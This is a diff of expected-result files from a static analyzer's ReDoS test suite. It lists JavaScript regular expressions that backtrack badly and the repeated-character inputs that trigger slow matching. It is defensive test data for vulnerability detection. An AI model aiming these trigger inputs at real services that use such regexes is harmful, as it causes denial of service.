-| polynomial-redos.js:101:2:101:21 | tainted.match(/a+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:101:2:101:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:101:17:101:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:102:2:102:24 | tainted ... a+a+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:102:2:102:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | polynomial-redos.js:102:20:102:21 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:103:2:103:23 | tainted ... \\wa+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:103:2:103:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '0' and with many repetitions of 'a'. | polynomial-redos.js:103:19:103:20 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:104:2:104:24 | tainted ... +b+c+/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:104:2:104:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:104:17:104:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:107:2:107:40 | tainted ... \|B)+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:107:2:107:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '3' and with many repetitions of '3'. | polynomial-redos.js:107:28:107:37 | ([2-5]\|B)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:108:2:108:33 | tainted ... \|B)+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:108:2:108:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '0' and with many repetitions of '2'. | polynomial-redos.js:108:21:108:30 | ([2-5]\|B)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:109:2:109:33 | tainted ... +\\d+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:109:2:109:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '3' and with many repetitions of '3'. | polynomial-redos.js:109:28:109:30 | \\d+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:111:2:111:22 | tainted ... /\\s*$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:111:2:111:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '\\t'. | polynomial-redos.js:111:17:111:19 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:112:2:112:22 | tainted ... /\\s+$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:112:2:112:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '\\t'. | polynomial-redos.js:112:17:112:19 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:114:2:114:27 | tainted ... 5\\w*$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:114:2:114:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '5' and with many repetitions of '5'. | polynomial-redos.js:114:22:114:24 | \\w* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:116:2:116:35 | tainted ... \\*\\//g) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:116:2:116:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '/*' and with many repetitions of 'a/*'. | polynomial-redos.js:116:21:116:28 | [\\d\\D]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:118:2:118:25 | tainted ... \\d+)+/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:118:2:118:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '0'. | polynomial-redos.js:118:17:118:23 | (#\\d+)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:124:12:124:43 | result. ... /g, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:124:12:124:17 | result | This $@ that depends on $@ may run slow on strings with many repetitions of '\\t'. | polynomial-redos.js:124:33:124:35 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:130:2:130:31 | modifie ... g, "b") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:130:2:130:9 | modified | This $@ that depends on $@ may run slow on strings starting with 'c' and with many repetitions of 'c'. | polynomial-redos.js:130:21:130:22 | c+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:133:2:133:32 | modifie ... g, "b") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:133:2:133:10 | modified2 | This $@ that depends on $@ may run slow on strings starting with 'f' and with many repetitions of 'f'. | polynomial-redos.js:133:22:133:23 | f+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:136:5:136:35 | modifie ... g, "b") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:136:5:136:13 | modified3 | This $@ that depends on $@ may run slow on strings starting with 'h' and with many repetitions of 'h'. | polynomial-redos.js:136:25:136:26 | h+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:138:5:138:326 | tainted ... )C.*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:138:5:138:11 | tainted | This $@ that depends on $@ may run slow on strings starting with 'AAAAAAAAAAAAAAAAAAAAAABBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC' and with many repetitions of 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC'. | polynomial-redos.js:138:322:138:323 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:140:2:140:48 | modifie ... ), "b") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:140:2:140:10 | modified3 | This $@ that depends on $@ may run slow on strings starting with 'h' and with many repetitions of 'h'. | polynomial-redos.js:140:33:140:34 | h+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:141:2:141:59 | modifie ... ), "b") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:141:2:141:10 | modified3 | This $@ that depends on $@ may run slow on strings starting with 'h' and with many repetitions of 'h'. | polynomial-redos.js:141:33:141:34 | h+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:142:2:142:47 | modifie ... ), "b") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:142:2:142:10 | modified3 | This $@ that depends on $@ may run slow on strings starting with 'h' and with many repetitions of 'h'. | polynomial-redos.js:142:33:142:34 | h+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/PolynomialReDoS.qlref b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/PolynomialReDoS.qlref
index e26045522d16..25302d8ff69a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/PolynomialReDoS.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/PolynomialReDoS.qlref
@@ -1 +1,2 @@
-Performance/PolynomialReDoS.ql
+query: Performance/PolynomialReDoS.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/ReDoS.expected b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/ReDoS.expected
index 470c8422659e..c6d53c1b717d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/ReDoS.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/ReDoS.expected
@@ -17,7 +17,7 @@
 | jsonschema.js:20:18:20:24 | (a?a?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
 | polynomial-redos.js:17:5:17:6 | .* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ','. |
 | polynomial-redos.js:41:52:41:63 | [\\x21-\\x7E]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '?'. |
-| polynomial-redos.js:46:33:46:45 | [a-zA-Z_0-9]* | This part of the regular expression may cause exponential backtracking on strings starting with 'A' and containing many repetitions of 'A'. |
+| polynomial-redos.js:46:40:46:52 | [a-zA-Z_0-9]* | This part of the regular expression may cause exponential backtracking on strings starting with 'A' and containing many repetitions of 'A'. |
 | regexplib/address.js:51:220:51:222 | \\w+ | This part of the regular expression may cause exponential backtracking on strings starting with 'C/O ' and containing many repetitions of '0'. |
 | regexplib/address.js:51:616:51:618 | \\w+ | This part of the regular expression may cause exponential backtracking on strings starting with 'C/O 0\\tC/O ' and containing many repetitions of '0'. |
 | regexplib/address.js:51:803:51:811 | [A-Za-z]+ | This part of the regular expression may cause exponential backtracking on strings starting with 'C/O 0\\t\\t' and containing many repetitions of 'A'. |
@@ -86,119 +86,119 @@
 | regexplib/uri.js:55:35:55:40 | [a-z]+ | This part of the regular expression may cause exponential backtracking on strings starting with 'a.' and containing many repetitions of 'a'. |
 | regexplib/uri.js:55:52:55:60 | [a-z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with 'a.a' and containing many repetitions of '0a'. |
 | regexplib/uri.js:63:393:63:429 | [a-zA-Z0-9\\.\\,\\?\\'\\\\/\\+&%\\$#\\=~_\\-@]* | This part of the regular expression may cause exponential backtracking on strings starting with 'ftp://1.1.1.0/.' and containing many repetitions of '/#'. |
-| tst.js:4:18:4:32 | (?:__\|[\\s\\S])+? | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '__'. |
-| tst.js:4:42:4:58 | (?:\\*\\*\|[\\s\\S])+? | This part of the regular expression may cause exponential backtracking on strings starting with '*' and containing many repetitions of '**'. |
-| tst.js:19:24:19:43 | (?:[^"\\\\]\|\\\\\\\\\|\\\\.)+ | This part of the regular expression may cause exponential backtracking on strings starting with '\\t"' and containing many repetitions of '\\\\\\\\'. |
-| tst.js:19:47:19:66 | (?:[^'\\\\]\|\\\\\\\\\|\\\\.)+ | This part of the regular expression may cause exponential backtracking on strings starting with '\\t'' and containing many repetitions of '\\\\\\\\'. |
-| tst.js:19:71:19:90 | (?:[^)\\\\]\|\\\\\\\\\|\\\\.)+ | This part of the regular expression may cause exponential backtracking on strings starting with '\\t(' and containing many repetitions of '\\\\\\\\'. |
-| tst.js:31:54:31:55 | .* | This part of the regular expression may cause exponential backtracking on strings starting with '!\|\\n-\|\\n' and containing many repetitions of '\|\|\\n'. |
-| tst.js:36:23:36:32 | (\\\\\\/\|.)*? | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\\\/'. |
-| tst.js:41:27:41:28 | .* | This part of the regular expression may cause exponential backtracking on strings starting with '#' and containing many repetitions of '#'. |
-| tst.js:47:31:47:33 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '"' and containing many repetitions of '""'. |
-| tst.js:47:37:47:39 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with ''' and containing many repetitions of ''''. |
-| tst.js:52:37:52:39 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '$[' and containing many repetitions of ']['. |
-| tst.js:52:70:52:72 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '$.$[' and containing many repetitions of ']['. |
-| tst.js:58:15:58:20 | [a-z]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:59:15:59:20 | [a-z]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:60:43:60:54 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. |
-| tst.js:61:16:61:23 | ([a-z])+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. |
-| tst.js:66:16:66:31 | [\\w#:.~>+()\\s-]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\t'. |
-| tst.js:66:38:66:40 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '[' and containing many repetitions of ']['. |
-| tst.js:71:19:71:26 | (\\\\?.)*? | This part of the regular expression may cause exponential backtracking on strings starting with '"' and containing many repetitions of '\\\\a'. |
-| tst.js:74:14:74:21 | (b\|a?b)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'b'. |
-| tst.js:77:14:77:21 | (a\|aa?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:83:14:83:20 | (.\|\\n)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\n'. |
-| tst.js:89:25:89:32 | (a\|aa?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:95:15:95:25 | ([^]\|[^a])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '`'. |
-| tst.js:101:15:101:23 | (.\|[^a])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '`'. |
-| tst.js:107:15:107:23 | (b\|[^a])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'b'. |
-| tst.js:110:15:110:23 | (G\|[^a])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'G'. |
-| tst.js:113:15:113:27 | ([0-9]\|[^a])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. |
-| tst.js:116:60:116:104 | (?:\\\\[\\x00-\\x7f]\|[^\\x00-\\x08\\x0a-\\x1f\\x7f"])* | This part of the regular expression may cause exponential backtracking on strings starting with '="' and containing many repetitions of '\\\\!'. |
-| tst.js:119:16:119:60 | (?:\\\\[\\x00-\\x7f]\|[^\\x00-\\x08\\x0a-\\x1f\\x7f"])* | This part of the regular expression may cause exponential backtracking on strings starting with '"' and containing many repetitions of '\\\\!'. |
-| tst.js:125:15:125:28 | ([a-z]\|[d-h])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'd'. |
-| tst.js:128:15:128:30 | ([^a-z]\|[^0-9])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '/'. |
-| tst.js:131:15:131:25 | (\\d\|[0-9])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. |
-| tst.js:134:15:134:22 | (\\s\|\\s)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\t'. |
-| tst.js:137:15:137:21 | (\\w\|G)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'G'. |
-| tst.js:143:15:143:22 | (\\d\|\\w)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. |
-| tst.js:146:15:146:21 | (\\d\|5)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '5'. |
-| tst.js:149:15:149:24 | (\\s\|[\\f])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\u000c'. |
-| tst.js:152:15:152:28 | (\\s\|[\\v]\|\\\\v)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\u000b'. |
-| tst.js:155:15:155:24 | (\\f\|[\\f])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\u000c'. |
-| tst.js:158:15:158:22 | (\\W\|\\D)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '/'. |
-| tst.js:161:15:161:22 | (\\S\|\\w)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. |
-| tst.js:164:15:164:24 | (\\S\|[\\w])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. |
-| tst.js:167:15:167:27 | (1s\|[\\da-z])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '1s'. |
-| tst.js:170:15:170:23 | (0\|[\\d])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. |
-| tst.js:173:16:173:20 | [\\d]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. |
-| tst.js:185:16:185:21 | [^>a]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '='. |
-| tst.js:188:17:188:19 | \\s* | This part of the regular expression may cause exponential backtracking on strings starting with '\\n' and containing many repetitions of '\\n'. |
-| tst.js:191:18:191:20 | \\s+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\t'. |
-| tst.js:194:68:194:79 | [ a-zA-Z{}]+ | This part of the regular expression may cause exponential backtracking on strings starting with '{[A(A)A:' and containing many repetitions of '  A:'. |
-| tst.js:194:81:194:82 | ,? | This part of the regular expression may cause exponential backtracking on strings starting with '{[A(A)A: ' and containing many repetitions of ',A: '. |
-| tst.js:197:15:197:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:197:18:197:19 | b+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'b'. |
-| tst.js:200:17:200:18 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:203:15:203:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:209:15:209:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:215:15:215:17 | \\n+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\n'. |
-| tst.js:218:15:218:19 | [^X]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'W'. |
-| tst.js:221:20:221:20 | b | This part of the regular expression may cause exponential backtracking on strings starting with 'W' and containing many repetitions of 'bW'. |
-| tst.js:227:20:227:20 | b | This part of the regular expression may cause exponential backtracking on strings starting with 'W' and containing many repetitions of 'bW'. |
-| tst.js:239:16:239:17 | ab | This part of the regular expression may cause exponential backtracking on strings starting with 'a' and containing many repetitions of 'ab'. |
-| tst.js:245:15:245:21 | [\\n\\s]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\n'. |
-| tst.js:254:15:254:17 | \\w* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. |
-| tst.js:254:27:254:29 | \\w* | This part of the regular expression may cause exponential backtracking on strings starting with 'foobarbaz' and containing many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. |
-| tst.js:254:39:254:41 | \\w* | This part of the regular expression may cause exponential backtracking on strings starting with 'foobarbazfoobarbaz' and containing many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. |
-| tst.js:254:51:254:53 | \\w* | This part of the regular expression may cause exponential backtracking on strings starting with 'foobarbazfoobarbazfoobarbaz' and containing many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. |
-| tst.js:257:14:257:116 | (.thisisagoddamnlongstringforstresstestingthequery\|\\sthisisagoddamnlongstringforstresstestingthequery)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\tthisisagoddamnlongstringforstresstestingthequery'. |
-| tst.js:260:14:260:77 | (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'thisisagoddamnlongstringforstresstestingthequery'. |
-| tst.js:260:68:260:70 | \\w+ | This part of the regular expression may cause exponential backtracking on strings starting with 'this' and containing many repetitions of '0querythis'. |
-| tst.js:272:21:272:22 | b+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'b'. |
-| tst.js:275:38:275:40 | \\s* | This part of the regular expression may cause exponential backtracking on strings starting with '<0\\t0=' and containing many repetitions of '""\\t0='. |
-| tst.js:281:16:281:17 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:284:16:284:17 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:290:16:290:17 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:293:22:293:23 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:299:90:299:91 | e+ | This part of the regular expression may cause exponential backtracking on strings starting with '00000000000000' and containing many repetitions of 'e'. |
-| tst.js:302:18:302:19 | c+ | This part of the regular expression may cause exponential backtracking on strings starting with 'ab' and containing many repetitions of 'c'. |
-| tst.js:305:18:305:20 | \\s+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\t'. |
-| tst.js:308:16:308:24 | ([^/]\|X)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'X'. |
-| tst.js:311:20:311:24 | [^Y]+ | This part of the regular expression may cause exponential backtracking on strings starting with 'x' and containing many repetitions of 'Xx'. |
-| tst.js:314:15:314:16 | a* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:317:18:317:23 | [\\w-]* | This part of the regular expression may cause exponential backtracking on strings starting with 'foo' and containing many repetitions of '-'. |
-| tst.js:320:15:320:19 | (ab)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'ab'. |
-| tst.js:323:14:323:20 | (a?a?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:332:14:332:22 | (?:a\|a?)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:338:17:338:45 | (([a-c]\|[c-d])T(e?e?e?e?\|X))+ | This part of the regular expression may cause exponential backtracking on strings starting with 'PRE' and containing many repetitions of 'cTX'. |
-| tst.js:341:16:341:19 | (a)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. |
-| tst.js:344:16:344:17 | b+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'bb'. |
-| tst.js:350:15:350:16 | a* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:351:15:351:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:352:15:352:16 | a* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:353:15:353:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:360:15:360:30 | ((?:a{\|-)\|\\w\\{)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a{'. |
-| tst.js:361:15:361:33 | ((?:a{0\|-)\|\\w\\{\\d)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a{0'. |
-| tst.js:362:15:362:35 | ((?:a{0,\|-)\|\\w\\{\\d,)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a{0,'. |
-| tst.js:363:15:363:38 | ((?:a{0,2\|-)\|\\w\\{\\d,\\d)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a{0,2'. |
-| tst.js:372:24:372:30 | [^"\\s]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '!'. |
-| tst.js:373:24:373:30 | [^"\\s]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '!'. |
-| tst.js:374:15:374:16 | x* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'x'. |
-| tst.js:375:15:375:16 | x* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'x'. |
-| tst.js:378:16:378:22 | [\\s\\S]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:379:16:379:22 | [\\s\\S]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:382:14:382:23 | (foo\|FOO)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'foo'. |
-| tst.js:385:14:385:25 | ([DE]\|[de])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'd'. |
-| tst.js:387:27:387:33 | (a\|aa)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. |
-| tst.js:388:14:388:20 | (a\|aa)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. |
-| tst.js:391:6:394:5 | (a\|aa)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. |
-| tst.js:398:6:398:12 | (c\|cc)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'cc'. |
-| tst.js:399:6:399:12 | (d\|dd)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'dd'. |
-| tst.js:400:6:401:1 | (e\|ee)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'ee'. |
-| tst.js:404:6:405:7 | (g\|gg)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'gg'. |
-| tst.js:407:125:407:127 | \\s* | This part of the regular expression may cause exponential backtracking on strings starting with '0/*' and containing many repetitions of ' ;0'. |
-| tst.js:411:15:411:19 | a{1,} | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
-| tst.js:413:25:413:35 | (\\u0000\|.)+ | This part of the regular expression may cause exponential backtracking on strings starting with '\\n\\u0000' and containing many repetitions of '\\u0000'. |
-| tst.js:415:44:415:57 | (\ud83d\ude80\|.)+ | This part of the regular expression may cause exponential backtracking on strings starting with '\\n\\u{1f680}' and containing many repetitions of '\\u{1f680}'. |
-| tst.js:417:22:417:23 | a? | This part of the regular expression may cause exponential backtracking on strings starting with 'a' and containing many repetitions of 'aa'. |
+| tst.js:3:18:3:32 | (?:__\|[\\s\\S])+? | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '__'. |
+| tst.js:3:42:3:58 | (?:\\*\\*\|[\\s\\S])+? | This part of the regular expression may cause exponential backtracking on strings starting with '*' and containing many repetitions of '**'. |
+| tst.js:17:24:17:43 | (?:[^"\\\\]\|\\\\\\\\\|\\\\.)+ | This part of the regular expression may cause exponential backtracking on strings starting with '\\t"' and containing many repetitions of '\\\\\\\\'. |
+| tst.js:17:47:17:66 | (?:[^'\\\\]\|\\\\\\\\\|\\\\.)+ | This part of the regular expression may cause exponential backtracking on strings starting with '\\t'' and containing many repetitions of '\\\\\\\\'. |
+| tst.js:17:71:17:90 | (?:[^)\\\\]\|\\\\\\\\\|\\\\.)+ | This part of the regular expression may cause exponential backtracking on strings starting with '\\t(' and containing many repetitions of '\\\\\\\\'. |
+| tst.js:28:54:28:55 | .* | This part of the regular expression may cause exponential backtracking on strings starting with '!\|\\n-\|\\n' and containing many repetitions of '\|\|\\n'. |
+| tst.js:32:23:32:32 | (\\\\\\/\|.)*? | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\\\/'. |
+| tst.js:36:27:36:28 | .* | This part of the regular expression may cause exponential backtracking on strings starting with '#' and containing many repetitions of '#'. |
+| tst.js:42:31:42:33 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '"' and containing many repetitions of '""'. |
+| tst.js:42:37:42:39 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with ''' and containing many repetitions of ''''. |
+| tst.js:46:37:46:39 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '$[' and containing many repetitions of ']['. |
+| tst.js:46:70:46:72 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '$.$[' and containing many repetitions of ']['. |
+| tst.js:52:15:52:20 | [a-z]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:53:15:53:20 | [a-z]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:54:43:54:54 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. |
+| tst.js:55:16:55:23 | ([a-z])+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. |
+| tst.js:59:16:59:31 | [\\w#:.~>+()\\s-]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\t'. |
+| tst.js:59:38:59:40 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '[' and containing many repetitions of ']['. |
+| tst.js:63:19:63:26 | (\\\\?.)*? | This part of the regular expression may cause exponential backtracking on strings starting with '"' and containing many repetitions of '\\\\a'. |
+| tst.js:65:14:65:21 | (b\|a?b)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'b'. |
+| tst.js:67:14:67:21 | (a\|aa?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:72:14:72:20 | (.\|\\n)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\n'. |
+| tst.js:77:25:77:32 | (a\|aa?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. |
+| tst.js:82:15:82:25 | ([^]\|[^a])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '`'. |
+| tst.js:87:15:87:23 | (.\|[^a])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '`'. |
+| tst.js:92:15:92:23 | (b\|[^a])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'b'. |
